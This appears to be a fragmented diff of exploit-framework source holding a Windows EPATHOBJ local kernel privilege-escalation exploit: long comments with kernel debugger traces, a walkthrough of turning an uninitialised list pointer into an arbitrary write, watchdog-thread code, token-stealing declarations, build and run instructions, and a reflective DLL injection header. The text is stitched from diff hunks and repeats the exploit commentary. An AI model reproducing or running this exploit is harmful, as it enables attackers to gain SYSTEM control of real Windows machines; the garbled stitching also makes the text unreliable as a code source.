// Points[PointNum].x = 0x41414141 >> 4;
|
||||
// Points[PointNum].y = 0x41414141 >> 4;
|
||||
// PointTypes[PointNum] = PT_BEZIERTO;
|
||||
// }
|
||||
//
|
||||
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
|
||||
// BeginPath(Device);
|
||||
// PolyDraw(Device, Points, PointTypes, PointNum);
|
||||
// EndPath(Device);
|
||||
// FlattenPath(Device);
|
||||
// FlattenPath(Device);
|
||||
// EndPath(Device);
|
||||
// }
|
||||
//
|
||||
// We can verify this is working by putting a breakpoint after newpathrec, and
|
||||
// verifying the buffer is filled with recognisable values when it returns:
|
||||
//
|
||||
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
|
||||
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
|
||||
// 95c922bd 83f801 cmp eax,1
|
||||
// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
|
||||
// 95c922c2 33c0 xor eax,eax
|
||||
// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
|
||||
// 95c922c9 56 push esi
|
||||
// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
|
||||
// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
|
||||
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
|
||||
// kd> g
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
//
|
||||
// The breakpoint dumps the first dword of the returned buffer, which matches the
|
||||
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
|
||||
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
|
||||
// easily break the list traversal in bFlattten():
|
||||
//
|
||||
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||||
// {
|
||||
// EPATHOBJ *pathobj; // esi@1
|
||||
// PATHOBJ *ppath; // eax@1
|
||||
// BOOL result; // eax@2
|
||||
// PATHRECORD *ppr; // eax@3
|
||||
//
|
||||
// pathobj = this;
|
||||
// ppath = this->ppath;
|
||||
// if ( ppath )
|
||||
// {
|
||||
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||||
// {
|
||||
// if ( ppr->flags & PD_BEZIER )
|
||||
// {
|
||||
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||||
// if ( !ppr )
|
||||
// goto LABEL_2;
|
||||
// }
|
||||
// }
|
||||
// pathobj->fl &= 0xFFFFFFFE;
|
||||
// result = 1;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// LABEL_2:
|
||||
// result = 0;
|
||||
// }
|
||||
// return result;
|
||||
// }
|
||||
//
|
||||
// All we have to do is allocate our own PATHRECORD structure, and then spam
|
||||
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
|
||||
// pointers shifted right by 4 (for this reason the structure must be aligned so
|
||||
// the bits shifted out are all zero).
|
||||
//
|
||||
// We can see this in action by putting a breakpoint in bFlatten when ppr has
|
||||
// moved into userspace:
|
||||
//
|
||||
// kd> u win32k!EPATHOBJ::bFlatten
|
||||
// win32k!EPATHOBJ::bFlatten:
|
||||
// 95c92517 8bff mov edi,edi
|
||||
// 95c92519 56 push esi
|
||||
// 95c9251a 8bf1 mov esi,ecx
|
||||
// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
|
||||
// 95c9251f 85c0 test eax,eax
|
||||
// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
|
||||
// 95c92523 33c0 xor eax,eax
|
||||
// 95c92525 5e pop esi
|
||||
// kd> u
|
||||
// win32k!EPATHOBJ::bFlatten+0xf:
|
||||
// 95c92526 c3 ret
|
||||
// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
|
||||
// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||||
// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
|
||||
// 95c92532 50 push eax
|
||||
// 95c92533 8bce mov ecx,esi
|
||||
// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
|
||||
//
|
||||
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
|
||||
// flags (defined in winddi.h). Let's break if it's in userspace:
|
||||
//
|
||||
// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
|
||||
// kd> g
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||||
// kd> r
|
||||
// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
|
||||
// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
|
||||
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
|
||||
// win32k!EPATHOBJ::bFlatten+0x15:
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
|
||||
//
|
||||
// The question is how to turn that into code execution? It's obviously trivial to
|
||||
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
|
||||
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
|
||||
// poses a problem.
|
||||
//
|
||||
// Let me demonstrate calling it with my own PATHRECORD:
|
||||
//
|
||||
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
|
||||
// // pathrecord chain.
|
||||
// PathRecord = VirtualAlloc(NULL,
|
||||
// sizeof(PATHRECORD),
|
||||
// MEM_COMMIT | MEM_RESERVE,
|
||||
// PAGE_EXECUTE_READWRITE);
|
||||
//
|
||||
// // Initialise with recognisable debugging values.
|
||||
// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
|
||||
//
|
||||
// PathRecord->next = (PVOID)(0x41414141);
|
||||
// PathRecord->prev = (PVOID)(0x42424242);
|
||||
//
|
||||
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
|
||||
// // EPATHOBJ::bFlatten(), do that here.
|
||||
// PathRecord->flags = PD_BEZIERS;
|
||||
//
|
||||
// // Generate a large number of Bezier Curves made up of pointers to our
|
||||
// // PATHRECORD object.
|
||||
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
|
||||
// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
|
||||
// PointTypes[PointNum] = PT_BEZIERTO;
|
||||
// }
|
||||
//
|
||||
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
|
||||
// kd> g
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x28:
|
||||
// 95c922c2 33c0 xor eax,eax
|
||||
// kd> dd ebp+8 L1
|
||||
// a3633be0 00130000
|
||||
//
|
||||
// The ppr object is in userspace! If we peek at it:
|
||||
//
|
||||
// kd> dd poi(ebp+8)
|
||||
// 00130000 41414141 42424242 00000010 cccccccc
|
||||
// 00130010 00000000 00000000 00000000 00000000
|
||||
// 00130020 00000000 00000000 00000000 00000000
|
||||
// 00130030 00000000 00000000 00000000 00000000
|
||||
// 00130040 00000000 00000000 00000000 00000000
|
||||
// 00130050 00000000 00000000 00000000 00000000
|
||||
// 00130060 00000000 00000000 00000000 00000000
|
||||
// 00130070 00000000 00000000 00000000 00000000
|
||||
//
|
||||
// There's the next and prev pointer.
|
||||
//
|
||||
// kd> kvn
|
||||
// # ChildEBP RetAddr Args to Child
|
||||
// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
|
||||
// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
|
||||
// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
|
||||
// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
|
||||
//
|
||||
// The question is how to get PATHALLOC() to succeed under memory pressure so we
|
||||
// can make this exploitable? I'm quite proud of this list cycle trick,
|
||||
// here's how to turn it into an arbitrary write.
|
||||
//
|
||||
// First, we create a watchdog thread that will patch the list atomically
|
||||
// when we're ready. This is needed because we can't exploit the bug while
|
||||
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
|
||||
//
|
||||
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
|
||||
// .text:BFA122BD cmp eax, 1 ; Check for failure
|
||||
// .text:BFA122C0 jz short continue
|
||||
// .text:BFA122C2 xor eax, eax ; Exit early
|
||||
// .text:BFA122C4 jmp early_exit
|
||||
//
|
||||
// So we create a list node like this:
|
||||
//
|
||||
// PathRecord->Next = PathRecord;
|
||||
// PathRecord->Flags = 0;
|
||||
//
|
||||
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
|
||||
//
|
||||
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||||
// {
|
||||
// /* ... */
|
||||
//
|
||||
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||||
// {
|
||||
// if ( ppr->flags & PD_BEZIER )
|
||||
// {
|
||||
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// /* ... */
|
||||
// }
|
||||
//
|
||||
// While it's spinning, we clean up in another thread, then patch the thread (we
|
||||
// can do this, because it's now in userspace) to trigger the exploit. The first
|
||||
// block of pprFlattenRec does something like this:
|
||||
//
|
||||
// if ( pprNew->pprPrev )
|
||||
// pprNew->pprPrev->pprnext = pprNew;
|
||||
//
|
||||
// Let's make that write to 0xCCCCCCCC.
|
||||
//
|
||||
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
|
||||
// {
|
||||
//
|
||||
// // This routine waits for a mutex object to timeout, then patches the
|
||||
// // compromised linked list to point to an exploit. We need to do this.
|
||||
// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
|
||||
// GetCurrentThreadId(),
|
||||
// Mutex);
|
||||
//
|
||||
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
|
||||
// // It looks like the main thread is stuck in a call to FlattenPath(),
|
||||
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
|
||||
// // up, and then patch the list to trigger our exploit.
|
||||
// while (NumRegion--)
|
||||
// DeleteObject(Regions[NumRegion]);
|
||||
//
|
||||
// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
|
||||
//
|
||||
// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
|
||||
//
|
||||
// } else {
|
||||
// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
|
||||
// }
|
||||
//
|
||||
// return 0;
|
||||
// }
|
||||
//
|
||||
// PathRecord->next = PathRecord;
|
||||
// PathRecord->prev = (PVOID)(0x42424242);
|
||||
// PathRecord->flags = 0;
|
||||
//
|
||||
// ExploitRecord.next = NULL;
|
||||
// ExploitRecord.prev = 0xCCCCCCCC;
|
||||
// ExploitRecord.flags = PD_BEZIERS;
|
||||
//
|
||||
// Here's the output on Windows 8:
|
||||
//
|
||||
// kd> g
|
||||
// *******************************************************************************
|
||||
// * *
|
||||
// * Bugcheck Analysis *
|
||||
// * *
|
||||
// *******************************************************************************
|
||||
//
|
||||
// Use !analyze -v to get detailed debugging information.
|
||||
//
|
||||
// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
|
||||
// *** WARNING: Unable to verify checksum for ComplexPath.exe
|
||||
// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
|
||||
// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
|
||||
//
|
||||
// Followup: MachineOwner
|
||||
// ---------
|
||||
//
|
||||
// nt!RtlpBreakWithStatusInstruction:
|
||||
// 810f46f4 cc int 3
|
||||
// kd> kv
|
||||
// ChildEBP RetAddr Args to Child
|
||||
// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
|
||||
// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
|
||||
// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
|
||||
// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
|
||||
// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
|
||||
// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
|
||||
// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
|
||||
// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
|
||||
// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
|
||||
// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
|
||||
// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
|
||||
// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
|
||||
// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
|
||||
// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
|
||||
// WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||
// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
|
||||
// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
|
||||
// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
|
||||
// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
|
||||
// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
|
||||
// kd> .trap a03aba2c
|
||||
// ErrCode = 00000002
|
||||
// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
|
||||
// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
|
||||
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x82:
|
||||
// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
|
||||
// kd> vertarget
|
||||
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
|
||||
// Product: WinNt, suite: TerminalServer SingleUserTS
|
||||
// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
|
||||
// Machine Name:
|
||||
// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
|
||||
// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
|
||||
// System Uptime: 0 days 0:02:30.432
|
||||
// kd> .bugcheck
|
||||
// Bugcheck code 00000050
|
||||
// Arguments cccccccc 00000001 8f18972e 00000002
|
||||
//
|
||||
// EXPLOITATION
|
||||
//
|
||||
// We're somewhat limited with what we can do, as we don't control what's
|
||||
// written, it's always a pointer to a PATHRECORD object. We can clobber a
|
||||
// function pointer, but the problem is making it point somewhere useful.
|
||||
//
|
||||
// The solution is to make the Next pointer a valid sequence of instructions,
|
||||
// which jumps to our second stage payload. We have to do that in just 4 bytes
|
||||
// (unless you can find a better call site, let me know if you spot one).
|
||||
//
|
||||
// Thanks to progmboy for coming up with the solution: you reach back up the
|
||||
// stack and pull a SystemCall parameter out of the stack. It turns out
|
||||
// NtQueryIntervalProfile matches this requirement perfectly.
|
||||
//
|
||||
// INSTRUCTIONS
|
||||
//
|
||||
// C:\> cl ComplexPath.c
|
||||
// C:\> ComplexPath
|
||||
//
|
||||
// You might need to run it several times before we get the allocation we need,
|
||||
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
|
||||
// to improve that.
|
||||
//
|
||||
// CREDIT
|
||||
//
|
||||
// Tavis Ormandy <taviso@cmpxchg8b.com>
|
||||
// progmboy <programmeboy@gmail.com>
|
||||
//
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <stddef.h>
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#ifdef WIN32_NO_STATUS
|
||||
# undef WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <ntstatus.h>
|
||||
|
||||
#pragma comment(lib, "gdi32")
|
||||
#pragma comment(lib, "kernel32")
|
||||
#pragma comment(lib, "user32")
|
||||
#pragma comment(lib, "shell32")
|
||||
#pragma comment(linker, "/SECTION:.text,ERW")
|
||||
|
||||
#ifndef PAGE_SIZE
|
||||
# define PAGE_SIZE 0x1000
|
||||
#endif
|
||||
|
||||
#define MAX_POLYPOINTS (8192 * 3)
|
||||
#define MAX_REGIONS 8192
|
||||
#define CYCLE_TIMEOUT 10000
|
||||
|
||||
static POINT Points[MAX_POLYPOINTS];
|
||||
static BYTE PointTypes[MAX_POLYPOINTS];
|
||||
static HRGN Regions[MAX_REGIONS];
|
||||
static ULONG ComplexPathNumRegion = 0;
|
||||
static HANDLE Mutex;
|
||||
static DWORD ComplexPathFinished = 0;
|
||||
|
||||
// Log levels.
|
||||
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
|
||||
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
|
||||
|
||||
// Copied from winddi.h from the DDK
|
||||
#define PD_BEGINSUBPATH 0x00000001
|
||||
#define PD_ENDSUBPATH 0x00000002
|
||||
#define PD_RESETSTYLE 0x00000004
|
||||
#define PD_CLOSEFIGURE 0x00000008
|
||||
#define PD_BEZIERS 0x00000010
|
||||
|
||||
typedef struct _POINTFIX
|
||||
{
|
||||
ULONG x;
|
||||
ULONG y;
|
||||
} POINTFIX, *PPOINTFIX;
|
||||
|
||||
// Approximated from reverse engineering.
|
||||
typedef struct _PATHRECORD {
|
||||
struct _PATHRECORD *next;
|
||||
struct _PATHRECORD *prev;
|
||||
ULONG flags;
|
||||
ULONG count;
|
||||
POINTFIX points[4];
|
||||
} PATHRECORD, *PPATHRECORD;
|
||||
|
||||
PPATHRECORD PathRecord;
|
||||
PATHRECORD ExploitRecord;
|
||||
PPATHRECORD ExploitRecordExit;
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
enum { ProfileTotalIssues = 2 };
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES {
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
|
||||
|
||||
FARPROC NtQuerySystemInformation;
|
||||
FARPROC NtQueryIntervalProfile;
|
||||
FARPROC PsReferencePrimaryToken;
|
||||
FARPROC PsLookupProcessByProcessId;
|
||||
PULONG HalDispatchTable;
|
||||
ULONG HalQuerySystemInformation;
|
||||
PULONG TargetPid;
|
||||
PVOID *PsInitialSystemProcess;
|
||||
|
||||
VOID elevator_complex_path();
|
||||
|
||||
//#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
#else
|
||||
#define dprintf(...) do{}while(0);
|
||||
#endif
|
||||
|
||||
static void real_dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
Vendored
Regular → Executable
+3
-5
@@ -1,5 +1,5 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
@@ -25,16 +25,14 @@
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_METASPLOIT_ATTACH 4
|
||||
#define DLL_METASPLOIT_DETACH 5
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
+801
@@ -0,0 +1,801 @@
|
||||
//===============================================================================================//
|
||||
// This is a stub for the actuall functionality of the DLL.
|
||||
//===============================================================================================//
|
||||
|
||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||
//===============================================================================================//
|
||||
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "ComplexPath.h"
|
||||
|
||||
//
|
||||
// --------------------------------------------------
|
||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
|
||||
// ----------------------------------------- taviso@cmpxchg8b.com -----
|
||||
//
|
||||
// INTRODUCTION
|
||||
//
|
||||
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
|
||||
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
|
||||
// next list pointer. The bug is really nice, but exploitation when
|
||||
// allocations start failing is tricky.
|
||||
//
|
||||
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
|
||||
// PATHRECORD **pppr,
|
||||
// ULONG *pcMax,
|
||||
// ULONG cNeeded)
|
||||
// .text:BFA122CA mov esi, [ebp+ppr]
|
||||
// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
|
||||
// .text:BFA122D0 push edi
|
||||
// .text:BFA122D1 mov edi, [ebp+pprNew]
|
||||
// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
|
||||
// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
|
||||
// .text:BFA122DA xor edx, edx
|
||||
// .text:BFA122DC mov [eax], edx
|
||||
// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
|
||||
// .text:BFA122E1 and ecx, not (PD_BEZIER)
|
||||
// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
|
||||
// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
|
||||
// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
|
||||
// .text:BFA122ED jnz short loc_BFA122F7
|
||||
// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
|
||||
// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
|
||||
//
|
||||
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
|
||||
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
|
||||
//
|
||||
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
|
||||
// .text:BF9160D7 xor esi, esi
|
||||
// .text:BF9160DE push esi
|
||||
// .text:BF9160DF push esi
|
||||
// .text:BF9160E0 push [ebp+tag]
|
||||
// .text:BF9160E3 push [ebp+size]
|
||||
// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
|
||||
// .text:BF9160EB mov esi, eax
|
||||
// .text:BF9160ED test esi, esi
|
||||
// .text:BF9160EF jz short loc_BF9160FF
|
||||
// .text:BF9160F1 push [ebp+size] ; size_t
|
||||
// .text:BF9160F4 push 0 ; int
|
||||
// .text:BF9160F6 push esi ; void *
|
||||
// .text:BF9160F7 call _memset
|
||||
//
|
||||
// However, the PATHALLOC allocator includes it's own freelist implementation, and
|
||||
// if that codepath can satisfy a request the memory isn't zeroed and returned
|
||||
// directly to the caller. This effectively means that we can add our own objects
|
||||
// to the PATHRECORD chain.
|
||||
//
|
||||
// We can force this behaviour under memory pressure relatively easily, I just
|
||||
// spam HRGN objects until they start failing. This isn't super reliable, but it's
|
||||
// good enough for testing.
|
||||
//
|
||||
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
|
||||
// // failure. Seriously, do some damn QA Microsoft, wtf.
|
||||
// for (Size = 1 << 26; Size; Size >>= 1) {
|
||||
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
|
||||
// ;
|
||||
// }
|
||||
//
|
||||
// Adding user controlled blocks to the freelist is a little trickier, but I've
|
||||
// found that flattening large lists of bezier curves added with PolyDraw() can
|
||||
// accomplish this reliably. The code to do this is something along the lines of:
|
||||
//
|
||||
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
// Points[PointNum].x = 0x41414141 >> 4;
|
||||
// Points[PointNum].y = 0x41414141 >> 4;
|
||||
// PointTypes[PointNum] = PT_BEZIERTO;
|
||||
// }
|
||||
//
|
||||
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
|
||||
// BeginPath(Device);
|
||||
// PolyDraw(Device, Points, PointTypes, PointNum);
|
||||
// EndPath(Device);
|
||||
// FlattenPath(Device);
|
||||
// FlattenPath(Device);
|
||||
// EndPath(Device);
|
||||
// }
|
||||
//
|
||||
// We can verify this is working by putting a breakpoint after newpathrec, and
|
||||
// verifying the buffer is filled with recognisable values when it returns:
|
||||
//
|
||||
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
|
||||
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
|
||||
// 95c922bd 83f801 cmp eax,1
|
||||
// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
|
||||
// 95c922c2 33c0 xor eax,eax
|
||||
// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
|
||||
// 95c922c9 56 push esi
|
||||
// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
|
||||
// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
|
||||
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
|
||||
// kd> g
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
//
|
||||
// The breakpoint dumps the first dword of the returned buffer, which matches the
|
||||
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
|
||||
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
|
||||
// easily break the list traversal in bFlattten():
|
||||
//
|
||||
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||||
// {
|
||||
// EPATHOBJ *pathobj; // esi@1
|
||||
// PATHOBJ *ppath; // eax@1
|
||||
// BOOL result; // eax@2
|
||||
// PATHRECORD *ppr; // eax@3
|
||||
//
|
||||
// pathobj = this;
|
||||
// ppath = this->ppath;
|
||||
// if ( ppath )
|
||||
// {
|
||||
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||||
// {
|
||||
// if ( ppr->flags & PD_BEZIER )
|
||||
// {
|
||||
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||||
